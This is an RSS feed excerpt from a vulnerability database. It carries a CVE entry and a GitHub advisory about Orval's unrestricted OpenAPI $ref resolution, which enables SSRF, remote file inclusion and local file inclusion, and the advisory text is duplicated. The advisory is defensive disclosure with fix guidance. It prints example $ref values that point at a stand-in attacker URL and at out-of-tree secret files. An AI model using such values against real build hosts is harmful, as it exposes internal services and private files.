https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Wed, 30 Sep 2026 13:22:08 +0000 https://vulnerability.circl.lu/vuln/fkie_cve-2026-62680 <p>Orval generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to 8.22.0, Orval resolves remote and local external $ref values without an allowlist or confinement to the input directory. Processing an attacker-controlled OpenAPI description can cause requests from the developer or CI host to attacker-selected or internal HTTP services, read absolute or out-of-tree local files, and inline untrusted remote schemas into generated clients. The affected code is packages/orval/src/import-specs.ts external reference loading. This issue is fixed in version 8.22.0.</p> <p>Orval generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to 8.22.0, Orval resolves remote and local external $ref values without an allowlist or confinement to the input directory. Processing an attacker-controlled OpenAPI description can cause requests from the developer or CI host to attacker-selected or internal HTTP services, read absolute or out-of-tree local files, and inline untrusted remote schemas into generated clients. The affected code is packages/orval/src/import-specs.ts external reference loading. This issue is fixed in version 8.22.0.</p> https://vulnerability.circl.lu/vuln/fkie_cve-2026-62680 https://vulnerability.circl.lu/vuln/ghsa-cxq5-97v7-87j8 <p><strong>Affected:</strong> npm: orval</p> <p>### Summary</p> <p>Orval resolves OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running `orval` on a spec whose `$ref` points at an attacker/internal URL or an arbitrary local file yields SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class from Orval&#39;s published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers the `$ref` resolver.</p> <p>### Details</p> <p>- `$ref: http://attacker/internal-evil.json#/...` → build host fetches (SSRF) and inlines the remote schema (RFI); confirmed property `REMOTE_ORVAL_PROP` in the generated client. - `$ref: /abs/path.json#/...` or `../../secret.json#/...` → out-of-tree local file read + inlined (LFI).</p> <p>No RCE: on 8.19.0 the description JSDoc is escaped (`*/`-&gt;`*\/`, the published fix), so `$ref` content cannot break out into code. The chain stops at SSRF + RFI + LFI.</p> <p>Fix: don&#39;t resolve remote `$ref`s by default (opt-in + host allowlist); confine local `$ref` resolution to the input directory tree (reject absolute paths and `../` escapes).</p> <p>### PoC</p> <p>`reproduce.sh` attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined). Verified on Orval 8.19.0.</p> <p>### Impact</p> <p>Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an att…</p> <p><strong>Affected:</strong> npm: orval</p> <p>### Summary</p> <p>Orval resolves OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files (including absolute / out-of-tree paths), inlining the referenced schema into the generated client. Running `orval` on a spec whose `$ref` points at an attacker/internal URL or an arbitrary local file yields SSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class from Orval&#39;s published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers the `$ref` resolver.</p> <p>### Details</p> <p>- `$ref: http://attacker/internal-evil.json#/...` → build host fetches (SSRF) and inlines the remote schema (RFI); confirmed property `REMOTE_ORVAL_PROP` in the generated client. - `$ref: /abs/path.json#/...` or `../../secret.json#/...` → out-of-tree local file read + inlined (LFI).</p> <p>No RCE: on 8.19.0 the description JSDoc is escaped (`*/`-&gt;`*\/`, the published fix), so `$ref` content cannot break out into code. The chain stops at SSRF + RFI + LFI.</p> <p>Fix: don&#39;t resolve remote `$ref`s by default (opt-in + host allowlist); confine local `$ref` resolution to the input directory tree (reject absolute paths and `../` escapes).</p> <p>### PoC</p> <p>`reproduce.sh` attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema inlined). Verified on Orval 8.19.0.</p> <p>### Impact</p> <p>Build-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an att…</p> https://vulnerability.circl.lu/vuln/ghsa-cxq5-97v7-87j8